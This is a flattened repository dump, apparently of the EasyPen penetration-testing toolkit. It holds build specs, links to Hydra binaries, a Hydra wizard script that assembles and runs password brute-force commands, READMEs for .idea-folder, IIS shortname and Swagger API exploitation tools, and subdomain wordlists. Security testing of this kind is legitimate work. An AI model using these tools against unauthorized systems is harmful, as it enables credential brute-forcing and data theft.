coding: utf-8 -*- 2 | 3 | 4 | block_cipher = None 5 | 6 | 7 | a = Analysis( 8 | ['ds_store_exp.py'], 9 | pathex=[], 10 | binaries=[], 11 | datas=[], 12 | hiddenimports=[], 13 | hookspath=[], 14 | hooksconfig={}, 15 | runtime_hooks=[], 16 | excludes=[], 17 | win_no_prefer_redirects=False, 18 | win_private_assemblies=False, 19 | cipher=block_cipher, 20 | noarchive=False, 21 | ) 22 | pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) 23 | 24 | exe = EXE( 25 | pyz, 26 | a.scripts, 27 | a.binaries, 28 | a.zipfiles, 29 | a.datas, 30 | [], 31 | name='ds_store_exp', 32 | debug=False, 33 | bootloader_ignore_signals=False, 34 | strip=False, 35 | upx=True, 36 | upx_exclude=[], 37 | runtime_tmpdir=None, 38 | console=True, 39 | disable_windowed_traceback=False, 40 | argv_emulation=False, 41 | target_arch=None, 42 | codesign_identity=None, 43 | entitlements_file=None, 44 | icon='..\\..\\ui\\resource\\tools\\ds_store_exp.png', 45 | ) 46 | -------------------------------------------------------------------------------- /tools/hydra/cygX11-6.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygX11-6.dll -------------------------------------------------------------------------------- /tools/hydra/cygXau-6.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygXau-6.dll -------------------------------------------------------------------------------- /tools/hydra/cygXdmcp-6.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygXdmcp-6.dll -------------------------------------------------------------------------------- /tools/hydra/cygcom_err-2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygcom_err-2.dll -------------------------------------------------------------------------------- /tools/hydra/cygcrypto-1.0.0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygcrypto-1.0.0.dll -------------------------------------------------------------------------------- /tools/hydra/cygcrypto-1.1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygcrypto-1.1.dll -------------------------------------------------------------------------------- /tools/hydra/cygfreerdp2-2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygfreerdp2-2.dll -------------------------------------------------------------------------------- /tools/hydra/cyggcc_s-seh-1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cyggcc_s-seh-1.dll -------------------------------------------------------------------------------- /tools/hydra/cyggcrypt-20.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cyggcrypt-20.dll -------------------------------------------------------------------------------- /tools/hydra/cyggpg-error-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cyggpg-error-0.dll -------------------------------------------------------------------------------- /tools/hydra/cyggssapi_krb5-2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cyggssapi_krb5-2.dll -------------------------------------------------------------------------------- /tools/hydra/cygiconv-2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygiconv-2.dll -------------------------------------------------------------------------------- /tools/hydra/cygidn-11.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygidn-11.dll -------------------------------------------------------------------------------- /tools/hydra/cygintl-8.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygintl-8.dll -------------------------------------------------------------------------------- /tools/hydra/cygjpeg-8.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygjpeg-8.dll -------------------------------------------------------------------------------- /tools/hydra/cygk5crypto-3.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygk5crypto-3.dll -------------------------------------------------------------------------------- /tools/hydra/cygkrb5-3.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygkrb5-3.dll -------------------------------------------------------------------------------- /tools/hydra/cygkrb5support-0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygkrb5support-0.dll -------------------------------------------------------------------------------- /tools/hydra/cyglber-2-4-2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cyglber-2-4-2.dll -------------------------------------------------------------------------------- /tools/hydra/cygldap_r-2-4-2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygldap_r-2-4-2.dll -------------------------------------------------------------------------------- /tools/hydra/cygmariadb-3.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygmariadb-3.dll -------------------------------------------------------------------------------- /tools/hydra/cygpcre-1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygpcre-1.dll -------------------------------------------------------------------------------- /tools/hydra/cygpq-5.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygpq-5.dll -------------------------------------------------------------------------------- /tools/hydra/cygsasl2-3.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygsasl2-3.dll -------------------------------------------------------------------------------- /tools/hydra/cygssh-4.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygssh-4.dll -------------------------------------------------------------------------------- /tools/hydra/cygssl-1.0.0.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygssl-1.0.0.dll -------------------------------------------------------------------------------- /tools/hydra/cygssl-1.1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygssl-1.1.dll -------------------------------------------------------------------------------- /tools/hydra/cygwin1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygwin1.dll -------------------------------------------------------------------------------- /tools/hydra/cygwinpr2-2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygwinpr2-2.dll -------------------------------------------------------------------------------- /tools/hydra/cygxcb-1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygxcb-1.dll -------------------------------------------------------------------------------- /tools/hydra/cygxkbfile-1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygxkbfile-1.dll -------------------------------------------------------------------------------- /tools/hydra/cygz.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/cygz.dll -------------------------------------------------------------------------------- /tools/hydra/hydra-wizard.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # based on a script by Shivang Desai 4 | # 5 | echo 6 | echo "Welcome to the Hydra Wizard" 7 | echo 8 | read -p "Enter the service to attack (eg: ftp, ssh, http-post-form): " service 9 | test -z "$service" && { echo Error: service may not be empty ; exit 1 ; } 10 | read -p "Enter the target to attack (or filename with targets): " target 11 | test -z "$target" && { echo Error: target may not be empty ; exit 1 ; } 12 | read -p "Enter a username to test or a filename: " user 13 | test -z "$user" && { echo Error: user may not be empty ; exit 1 ; } 14 | read -p "Enter a password to test or a filename: " pass 15 | test -z "$pass" && { echo Error: pass may not be empty ; exit 1 ; } 16 | read -p "If you want to test for passwords (s)ame as login, (n)ull or (r)everse login, enter these letters without spaces (e.g. \"sr\") or leave empty otherwise: " pw 17 | read -p "Port number (press enter for default): " port 18 | echo 19 | echo The following options are supported by the service module: 20 | hydra -U $service 21 | echo 22 | read -p "If you want to add module options, enter them here (or leave empty): " opt 23 | echo 24 | 25 | ports="" 26 | pws="" 27 | opts="" 28 | test -e "$target" && targets="-M $target" 29 | test -e "$target" || targets="$target" 30 | test -e "$user" && users="-L $user" 31 | test -e "$user" || users="-l $user" 32 | test -e "$pass" && passs="-P $pass" 33 | test -e "$pass" || passs="-p $pass" 34 | test -n "$port" && ports="-s $port" 35 | test -n "$pw" && pws="-e $pw" 36 | test -n "$opt" && opts="-m '$opt'" 37 | 38 | echo The following command will be executed now: 39 | echo " hydra $users $passs -u $pws $ports $opts $targets $service" 40 | echo 41 | read -p "Do you want to run the command now? [Y/n] " yn 42 | test "$yn" = "n" -o "$yn" = "N" && { echo Exiting. ; exit 0 ; } 43 | echo 44 | hydra $users $passs -u $pws $ports $opts $targets $service 45 | -------------------------------------------------------------------------------- /tools/hydra/hydra.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/hydra.exe -------------------------------------------------------------------------------- /tools/hydra/pw-inspector.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/hydra/pw-inspector.exe -------------------------------------------------------------------------------- /tools/idea_exploit/README.md: -------------------------------------------------------------------------------- 1 | # **.idea disclosure exploit** 2 | 3 | A script use **.idea** folder to gather sensitive information for pentesters . 4 | 5 | Websites not correctly deployed let their IDE config folder (**.idea**) exposed to hacker, 6 | 7 | which can lead password or archived data files leaked. 8 | 9 | The scanner will try to download all files, please recheck local files by yourself. 10 | 11 | ## Requirements 12 | 13 | ``` 14 | pip install lxml requests 15 | ``` 16 | 17 | ## Requirements 18 | 19 | * 2022-08-05: Bug Fix and python3 support 20 | 21 | ## Example 22 | 23 | Our scanner reported a vulnerability this afternoon 24 | 25 | ![scanner_pannel](images/scanner_pannel.png) 26 | 27 | As you can see, the file **DbConnCfg.json** leaked db password. 28 | 29 | ``` 30 | D:\IQIYI.codebase\idea_exp>idea_exp.py http://107.{mask}.{mask}.151/ 31 | [+] Module name is {mask} 32 | [+] Type is web_module 33 | [+] About 67 urls to process 34 | [200] /cfg/DbConnCfg.json 35 | [200] /bi/applepay/comm.php 36 | [200] /bi/applepay/ipn_ios.php 37 | [404] /auth/auth_ios/auth_guest.php 38 | ... 39 | [200] /ver/ver_util.php 40 | All files saved to 107.{mask}.{mask}.151/idea_exp_report.html 41 | ``` 42 | 43 | ![contain_password](images/contain_password.png) -------------------------------------------------------------------------------- /tools/idea_exploit/idea_exp.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | 4 | block_cipher = None 5 | 6 | 7 | a = Analysis( 8 | ['idea_exp.py'], 9 | pathex=[], 10 | binaries=[], 11 | datas=[], 12 | hiddenimports=[], 13 | hookspath=[], 14 | hooksconfig={}, 15 | runtime_hooks=[], 16 | excludes=[], 17 | win_no_prefer_redirects=False, 18 | win_private_assemblies=False, 19 | cipher=block_cipher, 20 | noarchive=False, 21 | ) 22 | pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) 23 | 24 | exe = EXE( 25 | pyz, 26 | a.scripts, 27 | a.binaries, 28 | a.zipfiles, 29 | a.datas, 30 | [], 31 | name='idea_exp', 32 | debug=False, 33 | bootloader_ignore_signals=False, 34 | strip=False, 35 | upx=True, 36 | upx_exclude=[], 37 | runtime_tmpdir=None, 38 | console=True, 39 | disable_windowed_traceback=False, 40 | argv_emulation=False, 41 | target_arch=None, 42 | codesign_identity=None, 43 | entitlements_file=None, 44 | icon='..\\..\\ui\\resource\\tools\\idea_exploit.png', 45 | ) 46 | -------------------------------------------------------------------------------- /tools/idea_exploit/images/contain_password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/idea_exploit/images/contain_password.png -------------------------------------------------------------------------------- /tools/idea_exploit/images/scanner_pannel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/idea_exploit/images/scanner_pannel.png -------------------------------------------------------------------------------- /tools/iis_shortname_scanner/README.md: -------------------------------------------------------------------------------- 1 | # IIS shortname Scanner # 2 | 3 | Under certern circumstances, windows 8.3 short names may be bruteforce enumerated under IIS with .net enabled, 4 | 5 | request these two urls: 6 | 7 | * http://www.target.com/*~1****/a.aspx 8 | 9 | * http://www.target.com/l1j1e*~1****/a.aspx 10 | 11 | If the first one return HTTP 404 and the second one return no 404. Your server might be exploitable to this vulnerability. 12 | 13 | ## Change Log (Oct 27, 2016) 14 | * Bug fixed: extention short than 4 letters like ```/webdeb~1.cs``` now could be enumerated 15 | * Code reconstruction 16 | 17 | ## Usage 18 | 19 | ``` 20 | iis_shortname_Scan.py target 21 | ``` 22 | 23 | 24 | from [http://www.lijiejie.com](http://www.lijiejie.com) my[at]lijiejie.com 25 | -------------------------------------------------------------------------------- /tools/iis_shortname_scanner/iis_shortname_scanner.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | 4 | block_cipher = None 5 | 6 | 7 | a = Analysis( 8 | ['iis_shortname_scan.py'], 9 | pathex=[], 10 | binaries=[], 11 | datas=[], 12 | hiddenimports=[], 13 | hookspath=[], 14 | hooksconfig={}, 15 | runtime_hooks=[], 16 | excludes=[], 17 | win_no_prefer_redirects=False, 18 | win_private_assemblies=False, 19 | cipher=block_cipher, 20 | noarchive=False, 21 | ) 22 | pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) 23 | 24 | exe = EXE( 25 | pyz, 26 | a.scripts, 27 | a.binaries, 28 | a.zipfiles, 29 | a.datas, 30 | [], 31 | name='iis_shortname_scan', 32 | debug=False, 33 | bootloader_ignore_signals=False, 34 | strip=False, 35 | upx=True, 36 | upx_exclude=[], 37 | runtime_tmpdir=None, 38 | console=True, 39 | disable_windowed_traceback=False, 40 | argv_emulation=False, 41 | target_arch=None, 42 | codesign_identity=None, 43 | entitlements_file=None, 44 | icon='..\\..\\ui\\resource\\tools\\IIS_shortname_Scanner.png', 45 | ) 46 | -------------------------------------------------------------------------------- /tools/masscan.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/masscan.exe -------------------------------------------------------------------------------- /tools/ncrack/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/ncrack/.gitkeep -------------------------------------------------------------------------------- /tools/nmap/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/nmap/.gitkeep -------------------------------------------------------------------------------- /tools/subDomainsBrute/.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | .idea/* 3 | tmp/ -------------------------------------------------------------------------------- /tools/subDomainsBrute/dict/dns_servers.txt: -------------------------------------------------------------------------------- 1 | 119.29.29.29 2 | # 182.254.116.116 3 | 223.5.5.5 4 | 223.6.6.6 5 | 114.114.115.115 6 | 114.114.114.114 7 | 180.76.76.76 -------------------------------------------------------------------------------- /tools/subDomainsBrute/dict/next_sub.txt: -------------------------------------------------------------------------------- 1 | test 2 | test2 3 | t 4 | dev 5 | 1 6 | 2 7 | 3 8 | s1 9 | s2 10 | s3 11 | admin 12 | adm 13 | a 14 | ht 15 | adminht 16 | webht 17 | web 18 | gm 19 | sys 20 | system 21 | manage 22 | manager 23 | mgr 24 | b 25 | c 26 | passport 27 | bata 28 | wei 29 | weixin 30 | wechat 31 | wx 32 | wiki 33 | upload 34 | ftp 35 | pic 36 | jira 37 | zabbix 38 | nagios 39 | bug 40 | bugzilla 41 | sql 42 | mysql 43 | db 44 | stmp 45 | pop 46 | imap 47 | mail 48 | zimbra 49 | exchange 50 | forum 51 | bbs 52 | list 53 | count 54 | counter 55 | img 56 | img01 57 | img02 58 | img03 59 | img04 60 | api 61 | cache 62 | js 63 | css 64 | app 65 | apps 66 | wap 67 | m 68 | sms 69 | zip 70 | monitor 71 | proxy 72 | update 73 | upgrade 74 | stat 75 | stats 76 | data 77 | portal 78 | blog 79 | autodiscover 80 | en 81 | search 82 | so 83 | oa 84 | database 85 | home 86 | sso 87 | help 88 | vip 89 | s 90 | w 91 | down 92 | download 93 | downloads 94 | dl 95 | svn 96 | git 97 | log 98 | staff 99 | vpn 100 | sslvpn 101 | ssh 102 | scanner 103 | sandbox 104 | ldap 105 | lab 106 | go 107 | demo 108 | console 109 | cms 110 | auth 111 | crm 112 | erp 113 | res 114 | static 115 | old 116 | new 117 | beta 118 | image 119 | service 120 | login 121 | 3g 122 | docs 123 | it 124 | e 125 | live 126 | library 127 | files 128 | i 129 | d 130 | cp 131 | connect 132 | gateway 133 | lib 134 | preview 135 | backup 136 | share 137 | status 138 | assets 139 | user 140 | vote 141 | bugs 142 | cas 143 | feedback 144 | id 145 | edm 146 | survey 147 | union 148 | ceshi 149 | dev1 150 | updates 151 | phpmyadmin 152 | pma 153 | edit 154 | master 155 | xml 156 | control 157 | profile 158 | zhidao 159 | tool 160 | toolbox 161 | boss 162 | activity 163 | www 164 | -------------------------------------------------------------------------------- /tools/subDomainsBrute/dict/subnames_all_5_letters.txt: -------------------------------------------------------------------------------- 1 | {alphnum} 2 | {alphnum}{alphnum} 3 | {alphnum}{alphnum}{alphnum} 4 | {alphnum}{alphnum}{alphnum}{alphnum} 5 | {alphnum}{alphnum}{alphnum}{alphnum}{alphnum} -------------------------------------------------------------------------------- /tools/subDomainsBrute/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/subDomainsBrute/lib/__init__.py -------------------------------------------------------------------------------- /tools/subDomainsBrute/lib/cmdline.py: -------------------------------------------------------------------------------- 1 | import optparse 2 | import sys 3 | 4 | 5 | def parse_args(): 6 | parser = optparse.OptionParser('usage: %prog [options] target.com', version="%prog 1.5") 7 | parser.add_option('-f', dest='file', default='subnames.txt', 8 | help='File contains new line delimited subs, default is subnames.txt.') 9 | parser.add_option('--full', dest='full_scan', default=False, action='store_true', 10 | help='Full scan, NAMES FILE subnames_full.txt will be used to brute') 11 | parser.add_option('-i', '--ignore-intranet', dest='i', default=False, action='store_true', 12 | help='Ignore domains pointed to private IPs') 13 | parser.add_option('-w', '--wildcard', dest='w', default=False, action='store_true', 14 | help='Force scan after wildcard test failed') 15 | parser.add_option('-t', '--threads', dest='threads', default=500, type=int, 16 | help='Num of scan threads, 500 by default') 17 | parser.add_option('-p', '--process', dest='process', default=6, type=int, 18 | help='Num of scan process, 6 by default') 19 | parser.add_option('--no-https', dest='no_cert_check', default=False, action='store_true', 20 | help='Disable get domain names from HTTPS cert, this can save some time') 21 | parser.add_option('-o', '--output', dest='output', default=None, 22 | type='string', help='Output file name. default is {target}.txt') 23 | parser.add_option('--tmp', dest='tmp', default=None, 24 | type='string', help='For EasyPen use') 25 | 26 | (options, args) = parser.parse_args() 27 | if len(args) < 1: 28 | parser.print_help() 29 | sys.exit(0) 30 | 31 | return options, args 32 | -------------------------------------------------------------------------------- /tools/subDomainsBrute/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/subDomainsBrute/screenshot.png -------------------------------------------------------------------------------- /tools/subDomainsBrute/subDomainsBrute.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | 4 | block_cipher = None 5 | 6 | added_files = [ 7 | ('dict', 'dict'), 8 | ] 9 | 10 | 11 | a = Analysis( 12 | ['subDomainsBrute.py'], 13 | pathex=[], 14 | binaries=[], 15 | datas=added_files, 16 | hiddenimports=[], 17 | hookspath=[], 18 | hooksconfig={}, 19 | runtime_hooks=[], 20 | excludes=[], 21 | win_no_prefer_redirects=False, 22 | win_private_assemblies=False, 23 | cipher=block_cipher, 24 | noarchive=False, 25 | ) 26 | pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) 27 | 28 | exe = EXE( 29 | pyz, 30 | a.scripts, 31 | [], 32 | exclude_binaries=True, 33 | name='subDomainsBrute', 34 | debug=False, 35 | bootloader_ignore_signals=False, 36 | strip=False, 37 | upx=True, 38 | console=True, 39 | disable_windowed_traceback=False, 40 | argv_emulation=False, 41 | target_arch=None, 42 | codesign_identity=None, 43 | entitlements_file=None, 44 | icon='..\\..\\ui\\resource\\tools\\subDomainsBrute.png', 45 | ) 46 | coll = COLLECT( 47 | exe, 48 | a.binaries, 49 | a.zipfiles, 50 | a.datas, 51 | strip=False, 52 | upx=True, 53 | upx_exclude=[], 54 | name='subDomainsBrute', 55 | ) 56 | -------------------------------------------------------------------------------- /tools/swagger-exp/.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | chromeSwagger/ 3 | api_summary.txt 4 | api-docs.json 5 | *.pyc -------------------------------------------------------------------------------- /tools/swagger-exp/README.md: -------------------------------------------------------------------------------- 1 | # **Swagger API Exploit 1.1** 2 | 3 | 这是一个 Swagger REST API 信息泄露利用工具。 主要功能有: 4 | 5 | * 遍历所有API接口,自动填充参数 6 | * 尝试 GET / POST 所有接口,返回 Response Code / Content-Type / Content-Length ,用于分析接口是否可以未授权访问利用 7 | * 分析接口是否存在敏感参数,例如url参数,容易引入外网的SSRF漏洞 8 | * 检测 API认证绕过漏洞 9 | * 在本地监听一个Web Server,打开Swagger UI界面,供分析接口使用 10 | * 使用Chrome打开本地Web服务器,并禁用CORS,解决部分API接口无法跨域请求的问题 11 | * 当工具检测到HTTP认证绕过漏洞时,本地服务器拦截API文档,修改path,以便直接在Swagger UI中进行测试 12 | 13 | ## ChangeLog 14 | * [2022-08-08] Fix chromeSwagger permission error 15 | * [2021-04-04] 支持 Python3 16 | 17 | ## 扫描器改进建议 18 | 19 | * 分析json文档,将发现的URL,自动添加到爬虫中 20 | 21 | ## Usage 22 | 23 | 需要介入分析 api_summary.txt 文件中的内容 24 | 25 | * 扫描所有API集,打开Swagger UI 26 | 27 | > python swagger-exp.py http://site.com/swagger-resources/ 28 | 29 | * 扫描一个API集,打开Swagger UI 30 | 31 | > python swagger-exp.py http://site.com/v2/api-docs 32 | 33 | * 只打开Swagger UI,不扫描接口 34 | 35 | > python swagger-exp.py 36 | 37 | ## 工具截图 38 | 39 | ![](screenshot.png) 40 | 41 | ![](screenshot2.png) -------------------------------------------------------------------------------- /tools/swagger-exp/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/swagger-exp/lib/__init__.py -------------------------------------------------------------------------------- /tools/swagger-exp/lib/common.py: -------------------------------------------------------------------------------- 1 | # -*- encoding: utf-8 -*- 2 | 3 | import os 4 | import platform 5 | 6 | 7 | def get_chrome_path_win(): 8 | try: 9 | import _winreg as reg 10 | except Exception as e: 11 | import winreg as reg 12 | # HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe\ 13 | conn = reg.ConnectRegistry(None, reg.HKEY_LOCAL_MACHINE) 14 | _path = reg.QueryValue(conn, 'Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe\\') 15 | reg.CloseKey(conn) 16 | if not os.path.exists(_path): 17 | raise Exception('chrome.exe not found.') 18 | return _path 19 | 20 | 21 | def get_chrome_path_linux(): 22 | folders = ['/usr/local/sbin', '/usr/local/bin', '/usr/sbin', '/usr/bin', '/sbin', '/bin', '/opt/google/'] 23 | names = ['google-chrome', 'chrome', 'chromium', 'chromium-browser'] 24 | for folder in folders: 25 | for name in names: 26 | if os.path.exists(os.path.join(folder, name)): 27 | return os.path.join(folder, name) 28 | 29 | 30 | def get_chrome_path(): 31 | if platform.system() == 'Windows': 32 | return get_chrome_path_win() 33 | else: 34 | return get_chrome_path_linux() 35 | -------------------------------------------------------------------------------- /tools/swagger-exp/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/swagger-exp/screenshot.png -------------------------------------------------------------------------------- /tools/swagger-exp/screenshot2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/swagger-exp/screenshot2.png -------------------------------------------------------------------------------- /tools/swagger-exp/static/validator: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/swagger-exp/static/validator -------------------------------------------------------------------------------- /tools/swagger-exp/swagger-exp.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | 4 | block_cipher = None 5 | 6 | 7 | a = Analysis( 8 | ['swagger-exp.py'], 9 | pathex=[], 10 | binaries=[], 11 | datas=[], 12 | hiddenimports=[], 13 | hookspath=[], 14 | hooksconfig={}, 15 | runtime_hooks=[], 16 | excludes=[], 17 | win_no_prefer_redirects=False, 18 | win_private_assemblies=False, 19 | cipher=block_cipher, 20 | noarchive=False, 21 | ) 22 | pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) 23 | 24 | exe = EXE( 25 | pyz, 26 | a.scripts, 27 | a.binaries, 28 | a.zipfiles, 29 | a.datas, 30 | [], 31 | name='swagger-exp', 32 | debug=False, 33 | bootloader_ignore_signals=False, 34 | strip=False, 35 | upx=True, 36 | upx_exclude=[], 37 | runtime_tmpdir=None, 38 | console=True, 39 | disable_windowed_traceback=False, 40 | argv_emulation=False, 41 | target_arch=None, 42 | codesign_identity=None, 43 | entitlements_file=None, 44 | icon='..\\..\\ui\\resource\\tools\\swagger-exp.png', 45 | ) 46 | -------------------------------------------------------------------------------- /ui/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/__init__.py -------------------------------------------------------------------------------- /ui/agreement.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 12 | 13 | 14 |
15 |
16 |

EasyPen

17 |
18 | 19 |
20 |

Do not use EasyPen for illegal purposes

21 |

This tool is for research only

22 |

Security scan should only be performed on your own hosts

23 | or for which you were explicitly authorized by its owner

24 |

Use it on your own risk

25 |
26 | 27 |
28 | 29 |
30 |

请不要将EasyPen用于非法用途

31 |

本程序仅供安全研究

32 |

只能用其扫描自己的主机系统

33 | 或者你已被资产所属方授权测试范围内的系统

34 |

使用者本人需承担工具使用中的相关风险

35 |
36 | 37 | 38 |
39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /ui/dicover/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/ui/dicover/__init__.py -------------------------------------------------------------------------------- /ui/log.py: -------------------------------------------------------------------------------- 1 | import wx 2 | import lib.config as conf 3 | from lib.event import LogEvent 4 | 5 | 6 | def get_postfix(count): 7 | return 's' if count > 1 else '' 8 | 9 | 10 | def show_update_log(domain_insert_count=0, domain_update_count=0, ip_insert_count=0, 11 | port_insert_count=0, port_update_count=0, refresh=None): 12 | msg_list = [] 13 | if domain_insert_count != 0: 14 | msg_list.append('add %s domain' % domain_insert_count + get_postfix(domain_insert_count)) 15 | if domain_update_count != 0: 16 | msg_list.append('update %s domain' % domain_update_count + get_postfix(domain_update_count)) 17 | if ip_insert_count != 0: 18 | msg_list.append('add %s ip' % ip_insert_count + get_postfix(ip_insert_count)) 19 | if port_insert_count != 0: 20 | msg_list.append('add %s port' % port_insert_count + get_postfix(port_insert_count)) 21 | if port_update_count != 0: 22 | msg_list.append('update %s port' % port_update_count + get_postfix(port_update_count)) 23 | 24 | msg = ', '.join(msg_list).capitalize() 25 | if msg: 26 | wx.PostEvent(conf.main_frame.target_tree, LogEvent(msg=msg, refresh=refresh)) 27 